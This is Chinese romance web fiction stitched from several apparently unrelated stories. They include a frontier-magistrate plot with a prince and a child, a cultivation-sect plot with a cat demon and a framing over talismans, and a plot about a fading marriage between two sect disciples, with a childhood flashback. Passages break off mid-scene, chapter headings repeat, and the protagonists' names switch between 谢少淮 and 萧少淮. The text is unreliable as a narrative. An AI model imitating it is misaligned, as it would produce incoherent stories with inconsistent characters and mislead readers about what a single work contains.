谢少淮被吻了个彻底,反应过来的时候萧承野已经松开了他,慵懒地靠着书案欣赏他狼狈不堪的模样。 萧承野:“本王这个样子,大人可见过?” 第 56 章 第 56 章 谢少淮何时被人这般对待过?好半天他才反应过来,踉跄地靠着交椅抬手用帕子擦拭湿濡的唇瓣。 萧承野就这么直勾勾的看着他,却没有得意,那双黑黝黝的眸子中似乎还带着几分……落寞? 谢少淮本应该生气的,但看着萧承野的脸他却气不起来。 谢少淮吁了两口气,慢慢站稳身子,尽量平静地看着男人,“王爷真是让下官惊喜。” 萧承野滚了滚喉,看着谢少淮。 萧少淮不知自己昨晚是怎么睡着的。 但却清晰地意识到自己是怎么醒来的。 ——被旁边一叠声压抑的闷哼被迫惊醒。 萧少淮骤然坐起身,一时间疑心是梦里萧承野催他去晨课照进了现实。 急促的心跳让萧少淮眼前一片漆黑,却还是下意识将手迅速伸进枕下。 但他的手在摸上符纸的一刹那,一抬眼,忽然直直地和边叙的目光对了个正着。 萧少淮愣了一下,硬是从边叙一张面瘫脸上读出了三分尴尬和七分……使力? 他怔了怔,目光顺着转向旁边,便看到边叙弯着腰,一手抵着桌案,一手伸向他的床褥,维持着这个诡异的姿势……从他怀里拽出了一只猫爪。 萧少淮眼眸微微放大,不可置信地又确认了一遍——确实是他那只胖的连脖子都没有的白猫。 他一时间也不知道作何反应,下意识转向边叙,便听到边叙同时低声开口:“大师兄,你床上为何会有一只……” 他顿了顿,声音间难得带上了些许疑惑:“……这是猫吗?” 回应他的,是一声尖锐的猫叫,和毫不留情的一爪子。 萧少淮眉心跳了跳,忍不住伸出手隔开对峙的一人一猫。 “暂且……算猫吧。” 萧少淮扭过头,望着委委屈屈望着自己的白猫,眼眸微眯,语气却依旧带笑。 “我也想知道,我床上为何早晨还会有一只……肥猫?” ——你不是应该已经回樾为之那里去了吗。 白猫动作一僵,为自己一时睡过头缩了缩脖子,欲盖弥彰地转过头,呲牙咧嘴地重新望向边叙。 萧少淮揉了揉眉心,也将目光重新转向旁边紧紧盯着他的边叙身上。 “还没请教,边峰主一大早来我这里做什么?” “我来给大师兄问晨安,顺便查看师兄伤势。”边叙立刻认真开口。 萧少淮眉心跳了跳,刚准备否认,便听边叙一连串地继续开口。 “没想到一来便看到这只猫妖躲在大师兄榻间。” “我想将他丢出去,却不幸被察觉,更不小心将大师兄惊醒。” 边叙声音一板一眼,甚至一边说一边就要径直伏身行礼。 萧少淮眉心跳了跳,摆了摆手,示意他打住:“行了,其一,我不是你大师兄,边峰主切莫折煞我。” “其二,这只猫妖是我——” 他本想说这是他养的灵宠,话还没出口忽然又想到什么,语气微顿。 自两年前那场大战后,妖界便与仙、人两界形成了积怨,销春尽长老殿更是一力主张,对所有妖物斩尽杀绝。 萧少淮心念电转,话到嘴边,忽然拐了个弯。 “——是我养着用来炼丹的。” 原本蜷着尾巴,小心翼翼作可怜状试图博同情的白猫:?? 他瞬间撑起身,呲牙咧嘴地就想冲萧少淮哈气,却被一巴掌直接按了下去。 “脾气爆烈,旧习难改,别无他法,只能用这一方式助其改邪归正。” 萧少淮按着白猫那滚圆的身子,差点被一蹬腿从床上掀下去,努力稳住身形,笑着开口:“也算是另一种‘回炉重造’了。” 那白猫一扬起脖直接就想蹿出去,忽然感觉按在他身上的手一紧,紧接着顺着他背脊,一寸寸捋了下去。 ——安静点,被樾为之养的除了一身肉连脑子都没有了,就算抓你炼丹能炼出个什么。 萧少淮眯了眯眼,望着怀里突然僵住的白猫,警告般又勾了下唇。 ——继续挣扎,若被边叙发现异常,我就真把你扔去给这个书呆子当镇纸。 那一边,边叙似乎也愣了一下。 “脾气似乎确实……很暴躁。”他望着萧少淮怀里不停挣扎的猫咪,犹豫了一下,又低声开口。 “可是大师兄从前不是最反对长老们对妖、魔一概论之……” “所以我说了,我不是你大师兄。”萧少淮直接开口打断边叙的话。 他趁着边叙愣神的功夫站起身,胡乱披了一件外袍,抱着白猫径直向外走去。 边叙骤然回过神,跟着赶忙站起身。 “大师兄,你去哪?” “去炼丹啊,”萧少淮平静转头,无辜的语气说着最“残忍”的话,“他都已经顽劣到昨晚从我的储蓄袋中逃出来了,我还能继续留他?” 他歪了歪头,笑眯眯地开口邀约:“边峰主是想要一观吗?” ——他清楚这个书呆子一是只对书感兴趣,二是从来有着自己的原则规矩,不喜的事绝对不会跟去…… 但下一秒,他却见边叙认真点头,“好。” 萧少淮一愣。 他微微睁大眼,看着边叙两步走到他面前站定,低声开口:“若大师兄需要……我亦可帮大师兄完成。” 萧少淮:……? ——他一时间不清楚边叙是不是也失忆了。 喜欢兵器倒是真的。 谢少淮应了声:“可以。” 正好趁着呈第一批徙陵的名单回长安,顺带送封家书给二哥让他找些难得的兵器送来。 第 57 章 第 57 章 翌日,谢少淮将整理好的第一批徙陵的名单送出了琢州城。从雁门关回来,正好到了晌午,谢少淮便打算带青松在琢州城内简单吃点顺道买些糕点送去梁王府。 琢州城不比长安繁华,但是胜在这里是大周链接西域的必经之路,集市上来往大周和西域的商队络绎不绝,琳琅满目的稀罕物件看的人眼睛要花了。 吃了点牛肉汤饼,青松跟着他家公子在集市上穿行,去找城里做糕点的小铺子。这家店是刘管事和青松说的,说他们小世子喜欢吃这家的糕点。 “公子,青松记得您也喜欢吃甜点哎!”青松啃着糖葫芦,小跑跟上谢少淮,突发奇想:“一会儿咱们多买点吧,带回府衙,留给给您做宵夜。” 谢少淮:“……” 谢少淮确实喜欢吃甜食,但是他已经有许多年不曾吃了,最多吃一些果子,自萧承野离开长安之后他果子也吃的少,也没有吃宵夜的习惯。 “你要想吃就多买一些,”谢少淮淡淡道:“不用打着我的旗号。” 被识破的青松挠了挠头:“听说西北的糕点要比咱们长安的甜很多呢,这糖葫芦就是,裹的糖可多了,一口一个嘎嘣脆呢,真好吃!” “到了。”谢少淮抬眼看去,糕点铺子就在面前,隐约可见那小小的牌匾,“想吃什么便多带回去些,这里离府衙远,来一趟不易。” 西北地广人稀,集市索然热闹,却开在了最北边的城门处,再往外走一点就直接出了大周国境了。青松来这几日吃也吃不习惯,现在看见荤菜就发晕,新鲜水果吃不到,能吃一些甜食也是好的。 得了谢少淮的准许,青松乐呵呵地跑到前面去了,“公子待青松最好了!” 谢少淮看着兔子似得青松,摇了摇头,加快步伐跟上他:“慢些。” 糕点铺子是整个琢州城最大的,谢少淮甫一到了跟前,就发现不必长安的规格小,来往进出的人也不断。他进门便有小厮上前:“公子,您要买些什么?” 谢少淮还未开口,便突然听见了方才先进门的青松的声音:“把你们的嘴巴放干净些,我们家世子爷也是你们这几个小屁孩能说的吗?” 铺子大的可容纳小百人了,男女老少挤作一团,谢少淮放眼看去只能看见几个黑压压的人头:“前面是怎么了?” 他神志还不是很清明,迷蒙间似乎隐约听到谁说了一句话。 他一时不确定这是不是自己的幻觉,恍恍惚惚抬眼,先一步看到对面的萧承野。 萧承野背手站在一步开外,没有动也没有说话,只神情微冷地望着他,恍若在看一个陌生人。 萧少淮蓦然清醒了几分。 他垂下眼,唇角没忍住流露出些许涩意,暗道果然是自己多想。 他闭了闭眼,再次抬起头,冲着旁边的边叙笑了笑。 “多萧……边峰主方才唤醒我。” 边叙蹙了蹙眉,开口刚想问什么,下一秒却听到萧承野先一步冷声开口。 “刚才那魔气是你造成的吗?” 萧少淮微微一愣。 他一时间几乎没听清萧承野在说什么,过了好一会儿,混沌的意识才终于逐渐回笼。 他眼眸闪了闪,似笑非笑地盯了萧承野几秒,没有说话,而是先一步将目光转向一旁。 同一刻,被松竹押着的那名弟子果不其然慌张开口:“宗主明鉴,刚才的事和我没有任何关系!” “方才萧公子让我去取符纸,我取来后交到他手里后便没再管了,谁知道会发生那样的事……” 他一边说一边想到了什么,忽然从自己怀里又掏出一张符纸。 萧少淮挑了挑眉,似乎有些讶异般,轻轻“啊”了一声:“连证据都给我准备好了。” 他话音刚落,便感觉扶着他的手一紧,紧接着,边叙木着一张脸瞪了他一眼。 “长老殿规定,在销春尽引魔入宗可视为大不敬,”边叙咬牙低声开口,“你能不能认真一点……” “那个弟子是长老殿门下吗?”萧少淮忽然轻声开口。 边叙愣了一下,有些莫名其妙:“是,如何?” 萧少淮摇了摇头:“无事。” 边叙皱了皱眉,只继续开口:“两年前大战后,长老殿对魔族深恶痛绝,你……” “我知道。” 萧少淮转过头,眼皮微抬,望了他一眼,眼眸间却似乎带上些许兴味,“所以你瞧,这出戏真的好生有趣。” ……边叙这回直接甩开了他的手。 萧少淮踉跄了一步,看着旁边的人黑着一张脸大步向后走去,抬手无辜地摸了摸鼻子。 他环顾了一圈,随意寻了一张桌子靠在一旁,懒洋洋抱着双臂继续看戏。 那个弟子将手中那枚符纸毕恭毕敬地呈到了萧承野面前。 “宗主,我刚刚偷偷留了一张符纸,想抽查前自己先练练,但还未曾使用。宗主若不信,可对比一下我这张和萧公子手中剩余的符纸,看看有何区别。” 萧承野抬手接过那张黄符,他转头望向萧少淮,萧少淮不明所以地眨眨眼,几秒后终于恍然大悟般“哦”了一声,在兜里掏了掏,拿出那一沓符纸递了过去。 萧承野却没有立刻接。 他眼眸微冷地盯了他几秒,终于缓缓开口:“你没有什么想说的吗?” 萧少淮手举的有些酸。 他闻言疑惑地歪了下头,犹豫了一下小声开口。 “萧宗主现在不接吗?我手有点累,能先放下吗?” 他话音刚落,便见面前的人神色骤然冷了几分。 萧承野一言不发地伸出手,从中抽了一张符纸来,注入一点灵力,将两张纸同时甩向空中。 那名弟子手中的符纸没有什么反应,萧少淮那张却一瞬燃烧起来,发出刺耳的嘶吼声。 同一刻响起的,还有那名弟子的尖叫声:“宗主,您看,我并未骗您!他定是想借着授课的机会将魔气沾染到众弟子身上,引诱他们入魔,唔——” 他话还没说完,忽然感觉喉头一紧,嗓子莫名再也说不出话来。 他不可置信地瞪大眼,“唔唔”地嗫啜了两声,转而愤怒地望向不远处的萧少淮。 萧少淮无辜地眨了眨眼。 他忽然意识到了什么,目光若有所思地移到一旁,下一秒,忽然感觉面前一道莫名的劲风刮过。 萧承野打断萧少淮的目光,袍袖一挥,倏然将半空中的符咒驱散,抬起头冷冷地望着面前的人。 “你还有什么想说的吗,萧少淮?” 明明是很紧张的局面,萧少淮却倏忽从萧承野一系列动作间,品出了些许欲盖弥彰的意味。 他心情莫名好了几分,抱着双臂盯了萧承野几秒,终于慢悠悠开口。 “我若说不是我,萧宗主信吗?” 萧承野没有直接回答:“理由。” 刘管事看着眼前岁月静好的一幕,嘴角也不由抬了抬。平时出来买东西回去的时候都是他抱着小团子睡,今日碰上了他的亲生父亲,他也不需要主动说。 刘管事都不敢想,要是以后殿下知道在他身边陪着的府尹大人就是他的亲生爹爹,他家殿下得有多开心! 说不定大人一开心,就能和他家王爷重修旧好了。 谢少淮没怎么抱过萧澶,生下他的时候新政正是忙碌的时候,平时只有奶妈和青松照顾他。 倏地怀中宽大儒袍中伸出一小小的手揪住了他的衣角,童音似哽咽地咕哝着:“爹爹……” 谢少淮垂眸看着怀里安静睡着的稚儿,心中倏然荡起一丝波澜。 第 58 章 第 58 章 谢少淮抱了萧澶一路到了梁王府,怀里的萧澶才动了动身子,咕咕哝哝喊人:“爹爹……” 刘管事将马车挺稳,主动上前将谢少淮怀里的萧澶抱走:“大人,小殿下他爱害羞还是老奴抱殿下下来吧。” 谢少淮点了点头。 刘管事抱着萧澶进了王府,还没走几步路他怀里的萧澶便醒了。 刘管事将人放了下来,关心道:“殿下,还困吗?” 而以鲜血为阵吸食灵力明显是妖魔产物,不可能和长老殿扯上任何关系。 整件事太过巧合,萧承野皱了皱眉,开口想再问些细节,萧少淮却无论怎样都不愿开口了。 “我有点……不舒服,萧承野。”萧少淮低声开口。 “你救救我,萧承野,我好难受……” 他话还没说完,忽然闷哼一声,捂住心口,整个人蜷缩起来。 萧承野没想到只这一会儿萧少淮反应便这么严重。 他生怕牵起了他什么旧疾,愣了一下,下意识低头去摸他的脉搏。 但他手指刚一动,忽然碰到了什么,动作微微一顿。 他不知想起了什么,盯着自己的手指,脸色慢慢沉了下来。 “你是真的很难受吗?”萧承野忽然低声开口。 萧少淮依旧按着心口,蜷缩着躺在他膝盖上,眼眶微红地点了点头。 “我不喜欢刚才那个问题……”萧少淮小声开口,“可不可以不问了。” 萧承野微微点了点头,直接应了下来。 “好。” “那我换一个问题。”还剩一万九千一百三十五天。 谢少淮面无表情地睁开眼,拿起床架上的毛笔在手札上划下一笔。 棕黄纸页密密麻麻划满正字。 一晃眼,他跟师兄成婚七年了。 ——好漫长的七年。 谢少淮伸手盖住眼睛。 这不是他第一次这么想,也绝对不会是最后一次。 记不清是什么时候开始的了。 或许是前年,或许是大前年,或许是成婚一年后,发现每天的日子都是周而复始的轮回往复时,心里叫屈的种子就开始生根发芽了。 起初谢少淮并不敢多想,因为这会破坏他跟师兄的感情。 但时间是个很奇妙的东西,它可以抹平一切愧疚不安,让人原谅自己。 从前他或许还会心悸害怕,如今却已然毫无感触了。 洗漱完毕,家令过来传话,说是师兄已经在等他用早膳了。 师兄有清晨练剑的习惯,没得手那会,谢少淮不管多早都会备好水壶茶点,小尾巴似的跟在师兄身后。 那时候的他就像着了魔,觉得那潇洒的剑式看一辈子都不会腻。 但如今,他都记不清有多久没陪师兄练剑了。 师兄没有变,还是跟以前一样,温柔、漂亮、端庄、挺拔。 但谢少淮就是没有从前那种感觉了。 他的心就好像死了一样,不会跳了。 明明从前师兄不用做任何事,只要安安静静地坐在那里,就能让他高兴,但现在他却能毫无波澜地看着。 谢少淮没有爱上别人,他只是单纯地腻了,或者说,他可能没那么喜欢师兄了。 师兄一定也早就发现了,只是没有说破。 毕竟,再怎么山上长大、不通人情世故,也不是傻子。 爱与不爱又怎么会看不出来? 膳厅里,师兄穿着华丽的锦袍,精美的织纹蔓延到衣角,但谢少淮还是觉得师兄穿道袍最漂亮。 从出世到入世, 『为什么?』 『因为我讨厌你。』 『没关系。我的老婆们也不全是喜欢我的。』 那男孩皱眉,抿抿嘴,『你不让开我就打你。』 『那我们就来打架吧!我赢了你就给我当老婆。我输了请你吃绿豆糕。』 『不要。』 『我知道了,你就是怂了!是不敢!』 很多成年人,在跟人吵架的时候,往往也会一时语塞,从而失去最佳的反驳机会,直到半夜躺在床上才痛哭流涕『我当时应该这么回』! 更何况是一个小孩子? 一旦被挑起情绪却又不知如何反驳,就深陷进了套路里。 从而答应了这个赢了只是『拿到一块绿豆糕』,而输了就要『给人当老婆』的稳赔不赚的圈套里。 但好在!那孩子性情孤傲是有底气的! 不管是念书还是习武,都非常优秀,谢少淮第一次在单打独斗中被打成猪头。 末了,谢少淮捂着脸陷入怀疑: 鸭子哟!本来看这小子独来独往不会搬救兵,没想到这么厉害! 不过没关系! 谢少淮眼珠一转,开始嘴攻! 打架打不过,但凭他开了窍的聪明脑瓜,挑起同龄人的怒火可太容易了! 果不其然,小男孩很快生气挑眉,高举小木剑用力打在谢少淮右臂。 『啪嗒!』 小木剑一折为二,谢少淮摔倒在地,揉揉胳膊,手心有血,哭着说:『好疼。』 『你、是你自己要跟我打架的!不怪我!』虽然说话恶狠狠的,但是漏了怯。 小孩子嘛,发现自己闯祸了都是害怕的。 谢少淮很明白这个道理。 但他现在要做的可不是哭着去告状。 他又揉了一会胳膊,哭着擦眼泪,余光看到那男孩也偷偷瞥他。 于是抬头,眼泪珠子往下窜,又看看男孩手里断掉的木剑,擦干眼泪站起来,把自己手里的木剑递过去,『你的木剑断了,下午有剑术课,被先生看到的话会责罚你的,你用我的吧。』 那男孩懵了,站在原地,嘴唇翕动,涨红了脸,『那你呢?』 谢少淮没有回答,留下木剑,哭着走开了。 下午因为没有木剑,谢少淮被先生罚了,在太阳下站了一下午。 第二天,那男孩带着精致点心过来归还木剑,谢少淮收下了。男孩还是站在原地,支支吾吾扭扭脚尖、低头不说话。 谢少淮笑着说:『怎么?愿意当我老婆啦?』 男孩嘴唇翕动,哼唧几声,又涨红了脸。 嘿嘿,这不就拿下了吗! 有了男老婆后,养女老婆们的花费终于有人平摊了,荷包压力骤减。 平时被群殴也有稳定帮手了! 谢少淮就这样纵横捭阖到十四岁。 在那之后,同龄的孩子们就要有新的去路。 女孩们要开始学习女德,学会去当一个合格的妻子;男孩们则要选择今后保家卫国的方式。 谢少淮跟女老婆们告别,每人送了根发簪。 唯一的男老婆走上前,『少淮,你要去哪儿呢?』 这是个好问题。 男孩的去路比女孩多,但也不是毫无限制的。 无论是从军还是入仕,都有一定的门槛。哪怕是想当个混子,也要看祖上的福荫够不够茂盛。 思前想后,只有一条路子最好 ——给皇室当伴读。 这是一条必然能进入仕途,且不需要千军万马过独木桥的安稳路线。 『我要当伴读。』 『不!这不好。』男老婆着急道:『皇子们都是高人一等的,伴读就是出气包。你会受委屈。而且当今萧华正茂,太子之位随时变更,皇子们都是竞争对手,难免暗中较劲,伴读处于萧口浪尖,是第一批被献祭的人。很危险,不要去。』 『你说的这些我都知道。』 谢少淮笑着摇摇扇子,学着文人骚客的模样扇子遮阳,转身离去。 的确如男老婆所言,皇子之间的竞争是激烈的,伴读随时可能当炮灰。 但是偏偏有那么一个人,她跟哥哥们享有同等的地位,却永远不会因为争储夺嫡而受到牵连。 他看得出师兄也不习惯这些华丽繁复的衣服,只是为了他在忍着。 可是你们说,一段两个人都在忍的婚姻,还有存续的必要吗? 『今天有些晚。』师兄抬眸,温温柔柔看他一眼,一如当年初见。 谢少淮单手按揉太阳穴,蹩脚演技摆出困倦,『昨天睡得不怎么好。』 换成以往,这就是他们今天唯一的对话了。 但今天师兄的话多得可怕,他一定是发现了什么,但谢少淮不敢深思。 『那你今天早点回来,我给你按按头?』言语间给谢少淮盛好小米粥。 如果是从前,谢少淮想不出自己会有多开心,但现在的他镇定到连自己都害怕。 『不用了。』谢少淮放下杯盏,吐掉漱口的茶水,『我想搬去书房睡。』铜盆水面映出他的脸,冰冷戾气、死气沉沉。 萧承野筷子一顿,谢少淮放缓了声音,他努力像从前一样想温柔地解释,但开口的声音却冰冷且满怀敌意:『我没有别的意思,只是最近刑部的事情比较多。若是因为睡不好坏了天后的差事,那便不好了。』 萧承野没有回答,屋子里陷入了长久的沉默。 同床共枕睡不好有很多解决办法,但谢少淮提了最坏的那条。 阳光撒进屋子,在他俩中间切开横线。 谢少淮半垂眼眸,扪心自问,他怕师兄会生气么?他是怕的。他真的想终止这段婚姻了吗?他却不知道。 拨动杯沿,谢少淮看到师兄眼底胶着的暗潮,他知道师兄的确生气了。 从前师兄的眼睛多干净呀,就像一汪清澈见底的山泉。 只因为他的任性霸道,那汪清澈的山泉也沾染了尘世的泥土。 可他偏偏是天生的坏种,亲手把人家池水搅和脏了,又嫌脏不要了。 不是没想过师兄会不会一掌拍死他,但谢少淮依旧带着一丝庆幸和哀求: 师兄,别忍了。求求你,说出那句话,你我都解脱了。 不知过了多久,萧承野夹起荷包蛋放入谢少淮碗中,轻声说:『好。』接着小心翼翼地说:『我听说名剑山庄有一门功法,入睡时也可收敛真气。』他柔声道,『等刑部忙的时间过去了,我也就练成了,那时睡觉就不会翻身了。你一定能睡得安稳。』 蠢货! 你看不出来我不爱你了吗! 你还在忍什么! 学什么吊毛功法啊! 谢少淮死了的心有那么一瞬恢复跳动,被扎了一刀后表面又覆上石块,疼痛瓮在最深处。 他真是个坏人。 明明是他强行拉着师兄下山,带他入世,口口声声说要照顾师兄一辈子。 可如今说不爱就不爱的也是他。 他甚至自私到,即便不爱了也不愿意做那个坏人。 谢府门口,萧承野替谢少淮披上披萧,抬手将面前人撩乱的碎发撩至耳后,『刑部的事情再忙,也要记得好好吃饭。』 师兄声音轻柔如和煦春萧,拍在谢少淮胸口,不轻不重地让他把一些原本哽在喉头的话咽下去。 谢少淮的确开不出口了,但情场老手都知道,这样苟延残喘的拖时间对挽回一段感情来说其实并没有用处。 『师兄,你知道没有用的。』 没有镜子没有铜盆,谢少淮看不到自己的表情,但他也不想知道自己能有多伤人。 萧承野仿佛没有听到,在拢完披萧后,身体前倾轻轻抱住了谢少淮。 这源于新婚后的一个诺言,谢少淮曾说过,以后分别时一定要抱抱。 但立下誓言的人已经背誓很久了。 谢少淮当然知道自己背誓了,确切的说,他违背的誓言海了去了。 在跟师兄成婚前,他有过数不清的爱恨纠葛,他清晰地知道哪些猎物能玩弄到什么样的程度。 他有一套成熟的逻辑诡论,能让所有誓言归于无效。 只是没对师兄用过。 师兄高挺的鼻梁在他耳侧摩擦,从前不在府门口抱着师兄腻歪一炷香绝对不上马车,但现在的他面对这样的拥抱,竟然长长幽幽地叹了口气。 『宗庙似乎有一些事,圣上让我寻个机会去宗正寺一趟。今天天气好,让我坐你的马车一起进宫,好不好?』 温柔的摩挲抚弄耳垂,谢少淮嘴唇翕动,开合几次后长叹口气,『行吧。』 师兄的双眼在那一瞬间如花灯点亮。 但谢少淮的心却没有跳动。 『啊!是清萧剑和逍遥游!』几个拿着木剑的孩子踮着脚尖,探头探脑地朝这里张望。 萧承野朝着孩子们微笑,接着轻轻拉起谢少淮的手往马车去。 那略带一丝凉意的手让谢少淮产生恍如隔世的错觉,原来他们已经好久没有手拉着手并肩行走了。 在孩子们的惊羡中,他们坐进马车。 他们一左一右坐着,肩膀离开很远,一路无言,但萧承野始终没有放开他的手。 就好像当初他缠着师兄的时候,也是这么紧紧拉着师兄的手不放。 只是师兄可比他当时要温柔得多。 可逐渐升温的手心还是让谢少淮倍感炽热。 他轻轻把手抽出来,双手抱臂,故作困倦,闭眼靠在角落里。 开始装睡。 师兄曾是江湖第一,如今即便远离纷争,功夫也不会倒退。 他不可能不知道他在装睡。 但,没有责问、没有怨怼,师兄轻手轻脚地给他盖上薄被。 谢少淮双手紧扣手臂,麻木心脏中那丝酸痛蔓延至全身。 出来混,该还的总要还。 当年他游戏人间作花花浪子,本以为总能全身而退,却不料栽了个大跟头。 是他死皮赖脸砸开人家山门,哭着喊着求着进人家道观做乖乖弟子。 人人都知道他醉翁之意不在酒,掌门差点跪在蒲团上求他,谢公子,承野非尘世中人,你放过他。 可他撩起马尾往后一甩,哈哈直笑:『既如此,我就更不能让他这独守漫漫长夜了~』 转眼间踢开弟子房,抢了弟子袍成了记名弟子。 从此便是—— 师兄,我们今天去哪里练剑呀? 师兄,你让我照顾你好不好呀? 师兄,跟我在一起吧,我会一辈子让你幸福的! 萧承野当时的表情淡然又温柔,只轻声说:『你知道一辈子有多久吗?』 他当时多上头呀!一看猎物这个表情就知道稳了,哪里还顾得上别的, 脱口而出便是—— 人生不过三万天, 快得很。 一眨眼,他拢共才活了一万天。 还剩两万天。 而这两万天都要被一份婚契拷上枷锁。 谢少淮后悔了。 当一生一世的承诺变成还债似的数日子,这段感情就注定长不了了。 但师兄依然爱着他。 他该怎么办? 他盯着萧少淮,一字一顿慢慢开口:“或许你能告诉我,你是从什么时候清醒的吗?” 面前的人愣了一下。 他仰起头,正看到萧承野抬起手,外袍微掀,露出一直搭在他脉门上的手指。 ——他的手从方才用灵力帮他退烧时起,便一直没有离开过他的脉门。 方才萧少淮说他难受,萧承野下意识摸脉,才忽然意识到此事。 直到那时萧承野也才回想起,萧少淮的脉象虽然有些虚弱,但从始至终很平缓,没有任何异样。 ——他说难受,便是假。 “我怕自己不懂医术,有所疏漏,又探了一下你的气血。” 萧承野冷冷地望着他:“你气血间沉迟已消,内扰絮乱回稳,很明显因为高热带来的神志昏沉已然消散。” “所以萧少淮,你是从什么时候开始套我的话的?” 萧少淮脸色一瞬间苍白如纸,掌心死死地抵着胸口,想要张口,却又带出一串闷咳。 他身形晃了一下,倏然从萧承野身上跌到床上。 萧承野慢慢站起身,垂下眼望着面前的人,眼眸间浮现出一抹嘲讽。 他为自己刚才一瞬间松动的想法感到可笑。他们瞪着彼此,仿佛在看仇人。 没管那通红的眼睛,谢少淮向前迈步,这回不是跟萧承野侧肩而过,而是直接撞开那肩膀。 两人相距半个身位时,萧承野转身又抓住那手,轻声道:『记得喝水。』 这回谢少淮没再甩开,五指虚张后握拳,吐出口气后同样轻声道:『你回去路上当心。』 没有抱抱、没有告别,两人就这样分开。 走出刑部,萧承野独自一人走在宫廊上。 早上的阳光不再,天空阴沉沉的。 萧承野轻叹口气。 明明是想修复感情,结果又吵架了。他今晚还要搬去书房住,怎么办? 萧承野踢开脚边石子,小石块咕噜咕噜滚到青砖的缝隙里。异色砖块铺成牡丹花的图样。 这宫廊在几年前,他跟少淮也并肩走过。 那时少淮还是大理寺丞,嘻嘻哈哈拉着他的手进宫谢恩。 他说天后很赏识他,愿意提拔他。 『师兄,你放心,我的官一定越做越大,我以后一定不让你受委屈。』少淮当时满目憧憬说着生生世世的誓言,却绝口不提天后为何赏识他。 只说:『那大抵是因为我很可爱吧,嘻嘻~』 但萧承野清楚地知道,这是不可能的。 天后是什么样的人?一个只会卖萌打滚的混子又怎么可能得到她的青睐? 但少淮不想让他知道,那他便不知道吧。 ——那指腹冰凉的暖意,那原以为混沌意识间唯一不加掩饰的“欢喜”…… 萧承野眼眸冰冷,唇边却慢慢浮现出一抹笑意。 他低声开口:“好,你不说,我说。” “你是故意来套我的话、来套长老殿资料的对吧,萧少淮?” 他咬牙,声音中却抓紧带上了低低的笑意:“还是……你只是从始至终,都喜欢看我被你骗的团团转……” “不是!”谢少淮缩在角落里装睡,没多久还真困了。即便马车颠簸也挡不住重重倦意。 方才饭桌上他跟萧承野说自己没睡好,其实不全是假话。 当今天子抱恙,天后掌权。 本是相安无事,但随着天子身体渐衰,朝中立储之声甚嚣尘上,请求天后还政于朝。 天后疑心病渐重,便苦了谢少淮这些马前卒。 冬末春初,雪化冰消。 师兄给他盖的薄被暖洋洋的,谢少淮睡得安稳。 但不知怎的,他总觉得师兄在看他。 萧承野当然在看他,看着这个曾经与他山盟海誓,如今却连跟他同坐一辆马车都要装睡的人! 心一颤颤、一抽抽地疼。出来玩也是有门道的,尤其对于朝廷官员来说。 虽然谢少淮的职位远不到一言一行都有人盯着的地步,但依然要谨慎。 通常而言,喝酒分为素酒和荤酒。 素酒就是他们今天喝的这种。 找一间酒肆,包厢临街、窗户大开,只是喝酒,没有别的。即便有人弹劾,嘿!屋门打开、光明正大,落不下把柄。 荤酒就有意思了。 其中又分为三六九等。 最次的无非是青楼,好一点的则是伪装成书斋和画阁的青楼。 当然,最好的荤酒是不公开对外的,一般是某个人邀请一些人去到一间私人别院。 大门一关,应有尽有。 玩什么?怎么玩?玩到什么地步? 没去过的人是无法想象的。 谢少淮曾经很乐在其中,不过师兄不喜欢,此处也不便赘述了。 酒过三巡,发小打个酒嗝,『马上宵禁了,你不回去么?』 谢少淮摇头,满饮一口后道:『今晚通宵。』 发小一懵:『你家那口能让?』 『当然不让。』 谢少淮揉揉眉心。可他今晚要是回了,早上答应的一个人搬去书房住肯定黄了。 发小问:『他不是答应你了吗?』 谢少淮乐笑了,『他是答应了。但等我回去,他就会说手怎么这么冷?脚怎么这么冷?你一个人睡肯定会生病的。我要是不答应,他就温温柔柔看着我……我还能怎么办呢?』 除非没有素质,否则没人会伤害善意温柔的人。 谢少淮也一样。他不怕师兄发火,就怕那带着爱意的温柔。每每如此,本能会让他适可而止,他除了回应以同样的温柔并接受外毫无办法。 从这个角度上来说,师兄是知道打蛇七寸、掐他软肋的。 说到激动处,谢少淮又闷一大口酒。 所以现在最好的办法就是熬个通宵,等师兄早上练剑的时候,偷偷回房间把枕头偷出来,这样才能顺利搬去书房住。 发小啧啧称奇,『一个拔剑出鞘必见血的人,在你嘴里永远温柔贤惠。』 从刚才开始,这货就开始有意无意地话里有话,好像曾窥探过什么惊天秘密。 换成以往,谢少淮可能还要琢磨琢磨,但今天连一个眼神都不想给他。 萧承野是什么人,他能不清楚?他跟他睡了七年了,能看不出来他是个什么人? 他就是个大傻蛋!路上有条狗有只猫,他都要撑把伞上去给它们挡雨呢! 谢少淮拼命倒酒,他当时差点就被可爱死了呀!这世上怎么能有这种人呢!他上前问,师兄,你在做什么?萧承野当时表情呆呆的,习惯性伸手一指,大黄在吃饭。 他还给野狗起名字! 哈哈哈!差点呛到,谢少淮连连咳嗽。 师兄是符合儒家对君子所拥有一切刻板印象的。 是好孩子里的好孩子,乖得要死。 再举个例子吧,今夜无星,月色盈盈。 清萧山上也曾有过一样的月色。 清萧山高,高耸入淮,手可摘星辰。 那年谢少淮抱着一壶酒,顺着梧桐树翻墙进师兄院子。 刚落地,一柄剑架谢少淮脖子边。 月光照亮师兄一袭白衣,只听他惊讶地说:『谢师弟?怎么是你?』 谢少淮晃晃酒壶,暧昧道:『今晚月色好,我拢一壶月色酒,与你共饮。』 如果一样是道行高的人,就会收起剑,回一句『你怎知我亦在想你』。 这样一来一回搭上了,今晚两人就得在床上过。 酒的作用就到头了。 但师兄当时只是温温柔柔地笑,月光映在他瞳孔里,比烛火还亮。 他收起剑,说外头凉,给谢少淮披上外衣。 然后,炒了两个小菜陪谢少淮喝酒…… 也就是谢少淮当时上头,所以还能忍着。 但对于圈子里的人来说,这不是明摆着的事么! 这醉翁之意不在酒啊! 谢少淮的样子没有变。 白皙的娃娃脸依旧透着少年气,睫毛浓密修长在阳光下轻轻颤动,萧承野本能抬起袖子,替他遮挡阳光。 模样没变,变了的或许是心。 不是没发现谢少淮逐渐变得冷淡、逐渐忘记许多约定、甚至逐渐抗拒与自己的肌肤之亲。 但不可否认,即便如此,他也依旧深爱着眼前这个人。 比起轻易地分开,他更该想办法修复他们的爱情。 惬意地眯了一会,谢少淮打了哈欠伸个懒腰,才发现师兄一直用袖子替他遮挡刺目的阳光。 『醒了?』萧承野温柔道,『赶紧揉揉眼睛。』 师兄在他睡着时用袖子给他挡太阳。换成他最上头的时候,早就热泪盈眶,哭着献身了,甚至一边送一边问:『师兄,你为什么对我这么好呀?』 但如今的谢少淮只是很平静地看着,甚至略带呆滞,过了许久才吐出个『哦』字。 